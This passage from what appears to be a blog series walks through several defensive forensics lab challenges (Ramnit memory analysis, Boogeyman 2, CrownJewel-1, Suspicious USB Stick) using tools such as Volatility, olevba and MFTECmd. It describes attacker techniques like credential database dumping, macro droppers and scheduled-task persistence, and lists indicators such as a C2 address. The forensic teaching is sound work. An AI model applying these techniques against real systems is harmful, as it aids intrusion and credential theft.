Continuing with the malware analysis, we need to identify any network connections the malware made to find the second stage or command and control (C2) server.

For this part, we’ll use Volatility’s [windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan) plugin to scan the network artifacts in the image. Using grep again, we’ll filter the results to only show those matching the malicious PID.

vol3 -f memory.dmp windows.netscan | grep 4628

The downside is that you won’t see the column names in the output, but you can refer to the screenshot below for reference.

Volatility windows.netscan output headers

Once we run the command, the table reveals that the malware is communicating with an external IP address seen in the ForeignAddr column. This is the IP address of the command and control (C2) server that we’re looking for!

Question 4: To pinpoint the geographical origin of the attack, which city is associated with the IP address the malware communicated with?

Now that we’ve discovered the malware infrastructure’s IP address, we’ll pivot and gather geolocation intelligence about it. For a higher degree of confidence, let’s check a couple of geolocation services since the location data results can vary depending on the method the database provider uses to determine the location.

Starting with VirusTotal, we can tentatively determine that the IP address is located in Hong Kong.

Geolocation data from VirusTotal

Next, we’ll check ipinfo.io for added validation:

Geolocation data from ipinfo.io

Double-confirmed! Although we could continue checking with various geolocation and threat intelligence services, we’ve already found our answer for the purposes of this challenge.

Question 5: Hashes provide a unique identifier for files, aiding in detecting similar threats across machines. What is the SHA1 hash of the malware’s executable?

Next, we need to find the SHA1 hash of the malware executable so that we can gather more intelligence and perform further analysis to understand its impact.

The first step to obtain the file hash is to extract the executable from the memory dump. For this, we can leverage Volatility’s [windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles) plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump and the PID of the ChromeSetup.exe process we found in Question 1.

vol3 -f memory.dmp -o windows.dumpfiles –pid 4628

As the process completes, check the terminal output for the files that are being dumped to confirm that ChromeSetup.exe was extracted and note the corresponding file name on the right side (file.0xca82b85325a0… ).

Now, we can list the contents of the output directory to confirm that the extraction was successful. Finally, use the sha1sum command to calculate hash of the executable:

Awesome! Now that we have the SHA1 hash, we can answer Question 5. But, let’s take this a step further and jump over to VirusTotal to check if the sample, identified by the unique hash we extracted, has been previously analyzed:

VirusTotal VirusTotalwww.virustotal.com

Submitting the hash to VirusTotal confirms that this file is malicious and detected by most scanning engines on the platform_._ Let’s continue to the next question and learn more about the malware.

Question 6: Understanding the malware’s development timeline can offer insights into its deployment. What is the compilation UTC timestamp of the malware?

Since we already have the VirusTotal report for the malware open, we can use the existing analysis results on the platform to check the Creation Time value from the Details tab.

VirusTotal Report > Details Tab

We’ve made it to the last question! We’ll continue using the VirusTotal report to identify any domains that the malware contacts by navigating to the Relations Tab and then scroll down to Contacted Domains.

Between the IP address, SHA1 hash, and domain, we have a comprehensive list of indicators of compromise (IOCs) that we can use to hunt for the malware in the environment and block it. Let’s submit the final answer and wrap this investigation!

Conclusion:

Mission accomplished! With the help of Volatility, we successfully identified the malicious process, hunted for the malware path and file hash, and uncovered the IP addresses and domains the malware communicates with. With the objectives completed and a comprehensive list if IOCs in-hand, let’s close out this walkthrough of the Ramnit Lab!

A big thank you to CyberDefenders for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during DFIR cases and showcased some excellent scenarios for analyzing memory artifacts. Hands-on practice with forensic tools through labs can be extremely beneficial, and every time I try a new challenge with Volatility, I discover some cool and new uses of the tool that makes it much more efficient the next time I need it. Practice makes perfect!

Remember if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don’t forget to give it a clap. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We’re in this together. Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

REMnux: https://remnux.org/

Volatility 3: https://github.com/volatilityfoundation/volatility3

SANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil/

Volatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/command-reference

ipinfo.io: https://ipinfo.io/

VirusTotal — C2 IP: https://www.virustotal.com/gui/ip-address/58.64.204.181/details

VirusTotal — Malware Sample: https://www.virustotal.com/gui/file/1ac890f5fa78c857de42a112983357b0892537b73223d7ec1e1f43f8fc6b7496/details

TryHackMe — Boogeyman 2 Challenge Walkthrough

Sun, 27 Oct 2024 00:00:00 +0000

TryHackMe — Boogeyman 2 Challenge Walkthrough

Email & Endpoint Forensic Investigation using olevba, strings, & Volatility 3

Image Credit: https://tryhackme.com/r/room/boogeyman2

Introduction:

Are you still afraid of the Boogeyman?

If not, you’ve stumbled on the right blog and welcome to my weekly walkthrough! This blog is a walkthrough of the Boogeyman 2 challenge from TryHackMe which is the second in a series of capstone challenges for the SOC Level 1 path. This challenge is a multi-part digital forensics and incident response (DFIR) investigation focusing on a fictional threat actor called the Boogeyman.

If you want to catch up on how we got here, check out my walkthrough of Boogeyman 1 first.

TryHackMe — Boogeyman 1 Challenge Walkthrough

In this challenge, we will investigate an email, and an endpoint memory dump collected from a victim compromised by this returning, shadowy threat actor. It is our job as security analysts to determine how the Boogeyman got in this time. To unmask the Boogeyman, we’ll utilize a few tools to aid in our investigation including olevba, part of the oletools package, and Volatility for analyzing a memory dump of the compromised workstation.

Doesn’t sound so scary, right?

Now let’s grab our flashlights and shine a light on the Boogeyman’s updated tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!

Challenge Link: https://tryhackme.com/r/room/boogeyman2

Challenge Scenario:

After having a severe attack from the Boogeyman, Quick Logistics LLC improved its security defences. However, the Boogeyman returns with new and improved tactics, techniques and procedures.

In this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.

Maxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation.

The security team was able to flag some suspicious commands executed on the workstation of Maxine, which prompted the investigation. Given this, you are tasked to analyse and assess the impact of the compromise.

Question 1: What email was used to send the phishing email?

Jumping right into our environment let’s start with the email, “Resume — Application for Junior IT Analyst Role.eml,” from within the Artefacts folder.

While there are a number of ways that we can approach the header analysis of this message, let’s just open it with the default text editor and do manual header analysis for the first few questions.

We’ll start out with a simple one; all we’re looking for is the From field in the email to find the sender’s address. Once we’ve found it, we can answer Question 1.

Question 2: What is the email of the victim employee?

By finding the From field in the email header, we’ve also discovered the To field right below it which has the victim, Maxine’s, email address.

Question 3: What is the name of the attached malicious document?

We can discover the attachment’s filename by simply searching for “attachment” within the text file. This will take us to the Content-Description/Disposition fields where we can see the name of the attached malicious document.

Question 4: What is the MD5 hash of the malicious attachment?

While we have a couple of ways of approaching this, let’s take the path of least resistance and simply download the attachment by opening the .eml file with the default email client installed in the analysis environment.

Once downloaded, we can use the md5sum command from the terminal to compute the MD5 hash of the attachment.

md5sum NAME-OF-ATTACHMENT-Q3.doc

Question 5: What URL is used to download the stage 2 payload based on the document’s macro?

Okay, now it’s time to perform some static analysis of the malicious attachment. Since the question mentions macros and the attachment type is .doc, let’s check out the tool mentioned in the tutorial for this challenge— olevba, part of the oletools suite by Philippe Lagadec (decalage2).

According to the project’s GitHub repository:

olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, decode malware obfuscation (Hex/Base64/StrReverse/Dridex) and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, and potential IOCs (IP addresses, URLs, executable filenames, etc).

Sounds useful! Let’s put olevba to work and parse the attachment to see if it discovers anything that could help us answer Question 2 by using the command below:

olevba

At the bottom of the output, we’ll find a handy summary of what the tool uncovered. Items marked with IOC are indicators of compromise, or items that can potentially help with our investigation like IP Addresses, URLs, or file names. Here we’ll see that olevba extracted a suspicious URL that might be related to the threat actor…

olevba summary table

Question 6: What is the name of the process that executed the newly downloaded stage 2 payload?

Now, instead of focusing on the summary results, let’s look a little more closely at the macro details where the IOC is located. Scroll back toward the top of the olevba output right above the summary table and look for the stream ‘Macros/VBA/NewMacros’

Looking at the macro it seems that once the stage 2 payload is downloaded from the URL (Question 5), it is saved as a JavaScript (.js) file and then executed with a specific process — this is what we need to answer Question 6.

Question 7: What is the full file path of the malicious stage 2 payload?

Because we already found the process that executed the payload in the last question, we also discovered the file path where the JavaScript payload was executed from.

Question 8: What is the PID of the process that executed the stage 2 payload?

All right, now we’re going to pivot to performing memory forensics using Volatility 3.

If you aren’t familiar with Volatility, it’s a “widely used framework for extracting digital artifacts from volatile memory (RAM) samples.” In other words, we can use it to analyze the raw memory dump artifact WKSTN-2961.raw!

But how do we get started looking for the answer to Question 8? A pro tip is to leverage Volatility’s help function to see what plugins are available:

vol.py -h

After reviewing the available plugins, we’ll start by getting an overview of all the processes running at the time the memory dump was taken on the victim’s system and see the process IDs (PID) listed in the PID column on the far left.

vol -f WKSTN-2961.raw windows.psscan

Then, we can search the output manually for the process name that we found in Question 6.

Alternatively, we can work a little bit smarter and use grep to show us only the results that match the process name.

vol -f WKSTN-2961.raw windows.psscan | grep “PROCESS-NAME-FROM-QUESTION-6”

It’s your choice! Either way, the PID column is the answer we need.

Question 9: What is the parent PID of the process that executed the stage 2 payload?

Fortunately, by finding the answer to Question 8, we also found the answer to Question 9 already. We just need to input the value in the parent process ID (PPID) column!

Question 10: What URL is used to download the malicious binary executed by the stage 2 payload?

All right, we’ve gotten a good start with Volatility but to answer Question 10 we need to go a step further and see if the processes that executed the stage 2 payload (Question 8) also has any child processes_._ The idea here is that by looking for processes spawned by the binary that launched the stage 2 payload, we can analyze the payload and find any additional URLS.

To accomplish this, we’ll leverage Volatility’s [windows.pstree](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pstree) to list the process tree and view the relationships between the processes. To keep it simple, let’s use grep again to show us only results with the PID of the process that executed the stage 2 payload that we found in Question 8.

vol -f WKSTN-2961.raw windows.pstree | grep “PID-FROM-QUESTION-8”

Okay, there is a child process! Let’s try to determine where this executable came from by dumping the process with Volatility’s [windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memmap) plugin and searching for new evidence:

vol -f WKSTN-2961.raw windows.memmap –pid –dump

Running this command creates .dmp file of the process. Then, we can try running strings command to pull out any artifacts from the process dump. Since we know of the domain (Question 5) that downloaded the 2nd stage payload, let’s start there:

strings pid.REDACTED.dmp | grep “files.boogeymanisback.lol”

Unfortunately, while we see the domain, we don’t have a full URL path to the malicious binary within the process dump. So, why don’t we just try running strings against the complete raw memory dump instead to check the whole thing in one shot?

strings WKSTN-2961.raw | grep “files.boogeymanisback.lol”

There we go! Now we’ve found a second file from this domain — this is the malicious binary that we’re looking for.

Question 11: What is the PID of the malicious process used to establish the C2 connection?

Although this is a bit out of order, we already found the answer by searching for the child process in the previous question. Now, we just need to input the PID of the child process we found.

Question 12: What is the full file path of the malicious process used to establish the C2 connection?

To answer Question 12, we need to find the full file path of the malicious child process. For this task, we can use the Volatility windows.cmdline plugin.

This plugin can help us by showing not only the process command line arguments but also the executable file path of the process.

vol -f WKSTN-2961.raw windows.cmdline –pid PID-FROM-QUESTION-11

Question 13: What is the IP address and port of the C2 connection initiated by the malicious binary? (Format: IP address:port)

Now that we know the PID and file path of the malicious binary, let’s dive deeper and search for any network connections established by the process, which could lead us to the command and control (C2) server.

We’ll use the [windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan) plugin to scan for network artifacts like IP addresses, ports, and protocols. Then, we’ll combine it with grep to filter the relevant results for the malicious process PID from Question 11.

vol -f WKSTN-2961.raw windows.netscan | grep -i “PID-FROM-QUESTION-11”

Volatility windows.netscan output for the malicious binary

Once we run the command, we’ll see the output table listing the external ForeignAddr and ForignPort columns that the malicious binary is connected to. These should be the IP address and port of the C2 connection we are looking for.

Question 14: What is the full file path of the malicious email attachment based on the memory dump?

We already identified the name of the malicious attachment in Question 3, which gets us halfway to our goal. Now, we just need to find the full file path of the downloaded email on the victim’s system.

To accomplish this, we can use Volatility’s [windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan) plugin to search for file objects within the image.

Using grep to search the term “Resume,” we can uncover the path of the malicious CV sent by the Boogeyman threat actor.

vol -f WKSTN-2961.raw windows.filescan | grep “Resume”

Although there are two entries, we can see the file path in the image points to the same temporary Microsoft Outlook content storage folder.

Question 15: The attacker implanted a scheduled task right after establishing the c2 callback. What is the full command used by the attacker to maintain persistent access?

Okay, we’ve made it to the last step. To finally unmask the Boogeyman this time, we need to analyze the scheduled task that the threat actor used for persistence on the victim’s system (MITRE ATT&CK T1053.005.)

To do this, we’re going to use strings on the RAW dump file again but this time we’ll look for Windows Task Scheduler artifacts. There are two ways that this can be done, let’s take a brief look at what we will search for.

taskschd: This is the GUI version of the Task Scheduler in Windows.

schtasks: This is the CLI version of the Task Scheduler in Windows.

We’re going to try both and see if we can find any relevant artifacts starting with taskschd:

strings WKSTN-2961.raw | grep -i “taskschd”

It doesn’t seem like there is anything interesting here. Let’s try schtasks next:

strings WKSTN-2961.raw | grep -i “schtasks”

Now we’ve found something interesting, the threat actor has created a new task using schtasks. This is exactly what we need to answer the last question and wrap up this investigation!

Conclusion:

Mission accomplished! We have completed our frighteningly fun investigation of Boogeyman 2! Using our forensic skills, we discovered that this time the Boogeyman infected the victim’s device through email with a malicious attachment. Then the threat actor used living-off-the-land binaries to download a stage 2 payload, establish command and control, and maintain persistent access using schtasks. Now, let’s wrap this investigation!

A huge thank you to TryHackMe for the excellent part II of the Boogeyman series. This challenge is perfect for sharpening our security skills during the spooky Halloween season! I was really impressed with the dimensions of this room, as it had two different scopes and a complete narrative of the Boogeyman’s return. The detail and flow were much closer to a real-world simulation exercise than others I have completed. It was really engaging to see how the fictional threat actor changed tactics, techniques, and procedures between the two rooms.

If you want to brave the next Boogeyman adventure with me, please check out my walkthrough of the Boogeyman 3. Until the Boogeyman returns yet again, stay vigilant!

TryHackMe — Boogeyman 3 Challenge Walkthrough

But if this is the end of our journey together, please consider giving this walkthrough a clap if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question. Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Tools & References:

Olevba: https://github.com/decalage2/oletools/wiki/olevba

Volatility Framework: https://github.com/volatilityfoundation/volatility3

Volatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference

Microsoft Learn (schtasks): schtasks commands | Microsoft Learn

MITRE ATT&CK — Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/

HackTheBox — CrownJewel-1 Sherlock Walkthrough

Sun, 13 Oct 2024 00:00:00 +0000

HackTheBox — CrownJewel-1 Sherlock Walkthrough

Investigating a Compromised Domain Controller with Windows Event Logs and MFTECmd

Image Credit: https://app.hackthebox.com/sherlocks/CrownJewel-1/play

Introduction:

Imagine this: You’re on the front lines of an organization’s security team when suddenly, alerts start firing from a domain controller about suspicious use of the V_olume Shadow Copy Service_ and a potential dump of the NTDS.dit database containing the domain’s secrets. You need to dive into the artifacts, investigate the logs, and triage this incident. If this sounds exciting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This week, we’re tackling the CrownJewel-1 challenge from Hack The Box! In this digital forensics and incident response (DFIR) challenge, we defenders will explore the NTDS.dit database and how it was accessed via the Volume Shadow Copy Service. Our goal is to uncover critical details such as the start time of the service, the accounts that were enumerated, the process ID of the service, the GUID of the volume, and the path and file sizes of the dumped file on the disk through the Master File Table (MFT). To do this, we’ll leverage the domain controller’s Windows Event logs and Eric Zimmerman’s MFTECmd tool.

While this challenge is geared toward beginners, it’s a fantastic lab to get some hands-on time with MFTECmd and practice log analysis for all skill levels. So, let’s grab our magnifying glasses and get ready to investigate!

And if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey.

Thanks for reading!

Challenge Link: https://app.hackthebox.com/sherlocks/CrownJewel-1

Challenge Scenario:

Forela’s domain controller is under attack. The Domain Administrator account is believed to be compromised, and it is suspected that the threat actor dumped the NTDS.dit database on the DC. We just received an alert of vssadmin being used on the DC, since this is not part of the routine schedule we have good reason to believe that the attacker abused this LOLBIN utility to get the Domain environment’s crown jewel. Perform some analysis on provided artifacts for a quick triage and if possible kick the attacker as early as possible.

Setup the Analysis Environment & Extract the challenge file:

Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Attackers can abuse the vssadmin utility to create volume shadow snapshots and then extract sensitive files like NTDS.dit to bypass security mechanisms. Identify the time when the Volume Shadow Copy service entered a running state.

Let’s start the triage process! Personally, I find that it’s always a good practice to familiarize myself of what artifacts are available for analysis. Let’s take a quick look at what we have been provided first:

All right, we have three Windows Event Logs and the $MFT. We’ll go into each one of these in more detail as they come up during the investigation, but this gives us at least some idea of how we’ll investigate this incident.

Next, let’s gain a better understanding of what we are investigating and why. For this, let’s check out the MITRE ATT&CK knowledge base to gather some intelligence about the technique of dumping the NTDS.dit file (T1003.003.)

According to MITRE ATT&CK:

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot% TDS tds.dit of a domain controller.1(https://en.wikipedia.org/wiki/Active_Directory)

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.2(http://adsecurity.org/?p=1275)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

Volume Shadow Copy

secretsdump.py

Using the in-built Windows tool, ntdsutil.exe

Invoke-NinjaCopy

Well, that’s not good! But now that we have some background, we can start to build a timeline by identifying when the attacker started the Volume Shadow Copy service. To do this, open the SYSTEM.evtx file found in Artifacts folder. The SYSTEM log includes various details, including the start and stop states of services which are logged as Windows Event 7036. If you’re in a Windows environment, this will open with the Windows Event Viewer.

Once the SYSTEM log is opened, we’ll filter it for the relevant events we want by pressing Filter Current Log and entering Event ID 7036 into the field.

With the results now filtered, press Find and enter the keyword “Volume” — this will help us to find the correct Volume Shadow Copy service event.

Finally, let’s check the event Details > XML View > TimeCreated SystemTime to get the exact time the service was started.

If that’s too much reading, here is a GIF of the process to summarize.

Question 2: When a volume shadow snapshot is created, the Volume shadow copy service validates the privileges using the Machine account and enumerates User groups. Find the User groups it enumerates, the Subject Account name, and also identify the Process ID(in decimal) of the Volume shadow copy service process

Okay, to answer Question 2, we’ll pivot over to the SECURITY.evtx log. The key word in the question is “enumerate,” which means we’ll want to filter our log by Event ID 4799 — A security-enabled local group membership was enumerated.

4799(S) A security-enabled local group membership was enumerated. - Windows 10 _Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com

Once we’ve filtered the log, let’s look for events with the same timestamp as the service event that we found in Question 1– 8:42:16 PM.

The first event we find has the Group Name “Administrators,” and moving up to the next event in the list, the Group Name is “Backup Operators”. Both events will have the will the same subject account name, DC01$, the Domain Controller’s machine account.

Now that we’ve uncovered both groups enumerated by the Volume Shadow Copy Service (VSSVC.exe), and which machine account the service ran with, let’s submit the answer and move on to the next question.

Question 3: Identify the Process ID (in Decimal) of the volume shadow copy service process.

Looking at the same event from Question 2, let’s focus on the Process Information section. Here we see the Process ID and the Volume Shadow Copy Service Executable Process Name (VSSVC.exe) that we are looking for.

This gives us half of our answer, but we need to do some extra legwork. The Windows Event log displays Process IDs in hexadecimal, but to answer Question 3 we need the Decimal value. No problem, let’s just use a simple online calculator to convert it:

Hex to Decimal Converter (rapidtables.com)

Question 4: Find the assigned Volume ID/GUID value to the Shadow copy snapshot when it was mounted.

Now that we’ve already looked over the SYSTEM.evtx and SECURITY.evtx, let’s move on to the third provided event log from the Artifacts folder, Microsoft-Windows-NTFS.evtx.

This event log holds the operational events of the Windows NTFS file system on the victim’s device. Once we open this log, we’ll continue with our method of looking at the first event following the timestamp of the Volume Shadow Copy service events from the previous questions.

The first event with a timestamp after the VSS service was started contains an interesting reference to VolumeShadowCopy1. Let’s click into the Details tab and gather some additional information:

Inside of the Details view_,_ we can see some additional event data including the VolumeCorrelationId GUID — this GUID is the value we need to answer Question 4!

Question 5: Identify the full path of the dumped NTDS database on disk.

To uncover the answer to Question 5, we’ll need to pivot away from the Windows Event Logs since they won’t have the artifacts that we need.

But remember the fourth piece of evidence we had, the $MFT file_?_ It’s time to use it! But first, let’s gain a foundational understanding of what the MFT is to figure out how it can help us find the path of the dumped NTDS database.

According MITRE ATT&CK:

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.

Okay, very interesting! With this background, it seems promising that we could discover the NTDS file path. So how do we find the information then? One option is to use Eric Zimmerman’s MFTECmd to parse the provided MFT file and export the results to a CSV file.

Once the tool is installed in your analysis environment, we can use the below syntax to have MFTECmd to parse the file:

MFTECmd.exe -f “<Path-to-$MFT>” –csv “<Path-to-Output.csv>”

Now that we have the output from the tool, we can use any CSV application to check the results. However, for the purposes of this walkthrough, I recommend using another of Eric Zimmerman’s tools, Timeline Explorer, to easily view, search, and sort the output data. In Timeline Explorer, search for NTDS.dit.

Looking at the timestamps of the returned results, only one matches the time period (Question 1) of the incident and it has the full path of the file in the Parent Path column!

Question 6: When was newly dumped ntds.dit created on disk?

Fortunately, we already found the answer in the previous question. We just need to copy the timestamp from the Created0x10 column:

Question 7: A registry hive was also dumped alongside the NTDS database. Which registry hive was dumped and what is its file size in bytes?

Okay, last question! The theory here is that a second file, a registry hive, was dumped at the same time and into the same directory as the NTDS database. So, let’s continue working with Timeline Explorer to see what else we can find within the parsed $MFT file.

To do this, we’re going to filter the results with the same Parent Entry Number as the dumped ntds.dit that we located in Question 5. This should allow us to see other files with the same parent directory or location within the NTFS volume.

On the Parent Entry Number column, you can either click the filter icon and select the corresponding number of the ntds.dit we found, or we can simply type the number into the field. In this example, the Parent Entry Number is 42.

Once we apply the filter, we will see two files: the ntds.dit and the SYSTEM registry hive. To get the file size, we just need to copy the value from the File Size column, and voilà!

Conclusion:

Let’s wrap up this investigation of CrownJewel-1 with a quick recap: Using the Windows Event logs, we determined more details about the abused service, including the start time, process ID, and the mounted volume GUID. Then, with the help of MFTECmd, we identified the file path of the dumped NTDS database and even a second file that the adversary targeted. Great job with the triage!

A big thank you to Hack The Box for the fun and realistic challenge! This was my first lab with this platform and it was an excellent experience. While this challenge is geared toward beginners, the narrative and triage process were very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, don’t forget to give it a clap. Your feedback is invaluable and helps me create content that supports your journey in cybersecurity. We’re in this together. Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

FLARE-VM: https://github.com/mandiant/flare-vm

MITRE ATT&CK — OS Credential Dumping: NTDS (T1003.003): https://attack.mitre.org/techniques/T1003/003/

Microsoft Learn — Volume Shadow Copy Service: https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service

Microsoft Learn — Event 4799: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799

Hex Calculator: https://www.rapidtables.com/convert/number/hex-to-decimal.html

MITRE ATT&CK — Hide Artifacts: NTFS File Attributes (T1564.004): https://attack.mitre.org/techniques/T1564/004/

Eric Zimmerman’s Tools — MFTECMD: https://github.com/EricZimmerman/MFTECmd

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough

Sun, 06 Oct 2024 00:00:00 +0000

Blue Team Labs Online — Suspicious USB Stick Challenge Walkthrough

Investigating a suspicious USB drive with pdfid.py, pdf-parser.py, and VirusTotal

Logo credit: https://blueteamlabs.online

Introduction:

Welcome to my weekly walkthrough! This week, we’re diving into a hands-on DFIR challenge, Suspicious USB Stick, from Blue Team Labs Online. This investigation involves analyzing the titular suspicious USB drive which may have played a role in a recent, fictitious data breach. What’s our objective? To check the contents of the device to uncover any indicators of malicious activity. If this topic sounds cool to you, you’ve stumbled on the right blog!

To do this, we’ll start by examining the drive’s Autorun.inf file, a common vector for malware propagation. What exactly is this file doing, and what role did it play in the breach? Next, we’ll turn our attention to a suspicious PDF file also found on the USB stick. Using tools like VirusTotal, Didier Stevens’ pdfid.py, and pdf-parser.py, we’ll determine if this PDF is malicious, identify the operating systems it targets, and extract embedded commands.

If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!

Challenge Link: https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124

Challenge Scenario:

One of our clients informed us they recently suffered an employee data breach. As a startup company, they had a constrained budget allocated for security and employee training. I visited them and spoke with the relevant stakeholders. I also collected some suspicious emails and a USB drive an employee found on their premises. While I am analyzing the suspicious emails, can you check the contents on the USB drive?

Reading Material: https://zeltser.com/analyzing-malicious-documents/ https://en.wikipedia.org/wiki/List_of_file_signatures https://eternal-todo.com/tools/peepdf-pdf-analysis-tool.

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.

To keep this write-up focused I’m going to skip the step-by-step setup of REMnux. If you’d like to set up your own REMnux environment, please follow the directions provided by REMnux directly. For reference, I opted for the virtual appliance method:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –b436702b96b5—

–)

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What file is the autorun.inf running?

Okay, let’s get started!

Inside of our analysis environment, we’ll unzip the challenge file and the second archive file (USB.zip) within it. Now inside of the USB.zip archive, we have two files to focus on:

autorun.info

2. README.pdf.

To answer Question 1, let’s first focus on autorun.inf, but before we look at the file, let’s get some quick background on what autorun.inf does exactly.

According to Trend Micro, the autorun.inf file is placed in the root directory of a storage drive and is used to automatically launch programs from storage and media drives. In older versions of Windows this feature could be abused to automatically execute malware when an infected drive was accessed.

So now that we understand what this text file can do, let’s open it up in a text editor to see what is going on. For this example, I‘ll use nano within my REMnux environment.

We can see that the autorun open action is set to launch the README.pdf file.

Question 2: Does the pdf file pass virustotal scan? (No malicious results returned)

Now let’s turn our attention to README.pdf and determine what the PDF file is and if it’s malicious or not.

To do this, we’ll start by checking VirusTotal for any previous hits for this file. As a first step, let’s calculate the SHA256 hash of the PDF directly from the terminal by using the below command:

sha256sum README.pdf

Then, copy the file hash and search VirusTotal.

VirusTotal VirusTotalwww.virustotal.com

Right away we’ll see a large number of detections which provide to us a high degree of confidence that the file is malicious and does not “pass” a scan.

Question 3: Does the file have the correct magic number?

To answer Question 3, I’ll lean on the Wikipedia page linked in the challenge to best explain what this question is looking for.

According to Wikipedia:

This is a list of file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes.

List of file signatures — Wikipedia _needs additional citations for verification .improve this article by (Learn how and when to remove this message )…_en.wikipedia.org

Let’s look for the PDF document type in the list to make this a bit easier to understand.

In the image above, we’re given that the hex signature of a PDF is 25 50 44 46 2D which converts to the ASCII %PDF-

So, to put this into context, we can use the magic number/bytes to determine if the malicious sample is a “real” PDF file or something like an executable masquerading as a PDF file. But how do we get the magic number from the malicious file to verify it? Well, there are a several ways but let’s keep it simple and try two ways for this walkthrough.

The first method is to leverage the work we’ve already done and simply use the existing VirusTotal search. Navigate to the Details tab > Basic properties > Magic to confirm that the file is indeed a PDF file and not some other file type.

The second simple method is to utilize a tool like Didier Stevens’ pdfid.py to do some triage of the PDF file. When pdfid.py runs, one of the items it checks for is a valid %PDF header — if it doesn’t have one, the tool will let you know. For example, if we run it on the autorun.inf file:

So now, let’s try it with README.pdf and see what it tells us…

pdfid.py README.pdf

There we go! Comparing this header to the information from the Wikipedia File Signature page, we see that it matches and double-confirms that the file is a PDF.

Question 4: What OS type can the file exploit? (Linux, MacOS, Windows, etc)

To answer Question 4, we’re looking for which operating system can be exploited by this file. Since we’re already on VirusTotal, let’s see what other information we can discover about the PDF.

Let’s check out the Behaviors tab where we’ll quickly notice that all the sections like File System, Registry, Shell Commands, etc. are referencing Windows.

This should be enough information to determine the affected OS.

Question 5: A Windows executable is mentioned in the pdf file, what is it?

Let’s switch away from VirusTotal and use another of Didier Stevens’ PDF tools, pdf-parser.py, start to analyze README.pdf

According to the author’s website:

“This tool will parse a PDF document to identify the fundamental elements used in the analyzed file.”

So, by using pdf-parser we can start to get a better idea of the malicious elements within the PDF. For our first pass, we’ll use the below syntax using -a to display the stats and -O to include the object streams.

pdf-parser.py README.pdf -a -O

This provides us with a solid overview of the risky keywords to watch for, as highlighted in Lenny Zeltser’s Analyzing Malicious Documents Cheat Sheet, one of the valuable resources provided in our challenge scenario.

https://zeltser.com/analyzing-malicious-documents/

Instead of diving into each object one-by-one, let’s use the default command to print all of them! Don’t worry, we can focus the output to avoid too much manual review. Since we are searching for a Windows executable file, we’ll use grep to display results matching the file extension “.exe”

pdf-parser.py README.pdf | grep -i “.exe”

Nice — we found it! If you’re curious or opt to analyze each object manually, you can find the executable referenced in Object 28, the /Launch action.

Question 6: How many suspicious /OpenAction elements does the file have?

Okay, last question! Remember in the last question where we used pdf-parser.py to find the risky keywords? Well, scroll back up to that output since we have the answer to Question 6 already…

